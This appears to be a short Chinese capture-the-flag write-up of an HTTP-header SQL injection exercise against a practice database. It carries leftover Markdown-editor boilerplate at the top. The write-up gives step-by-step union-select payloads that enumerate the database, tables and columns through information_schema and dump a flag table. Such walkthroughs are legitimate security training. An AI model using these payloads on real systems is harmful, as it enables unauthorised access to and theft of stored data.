SQL注入漏洞测试(HTTP头注入)

SQL注入漏洞测试(HTTP头注入)

你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。

新的改变

用burp抓包进入send to repeater 根据标题所示注入在http头：User-Agent，cookie，X_FORWARDED_FOR这三块地方

这题的注入点在host:

在host插入单引号，接着 and 1=1，and 1=2.

证明有注入点，接着查字段 order by 5查看

发现报错，这时候我们的五减一，换成order by 4 #回显了证明字段数位四

我们知道字段是四个后，接着我们用union 查询我们要的内容
payload：

	Union select 1,database(),3,4 #(这里detabase(),换为user(),@@version)

显示了数据库名为：pentesterlab，现在我们就构造下一句
payload：

	union select 1,table_name,3,4 from information_schema.tables where table_schema=0x70656E7465737465726C6162#

查询出表名：comment,Flag，goods，user。然而我们需要的flag表的内容。
payload：

union select 1,column_name,3,4 from information_schema.columns where table_schema=0x70656E7465737465726C6162 and table_name=0x666C6167#

显示列名：id，flag
接下来我们直接查询flag列的数据
Payload：

union select 1,group_concat(flag),3,4 from flag#

注明：本文只是做题的一点点的思路希望能有所帮助！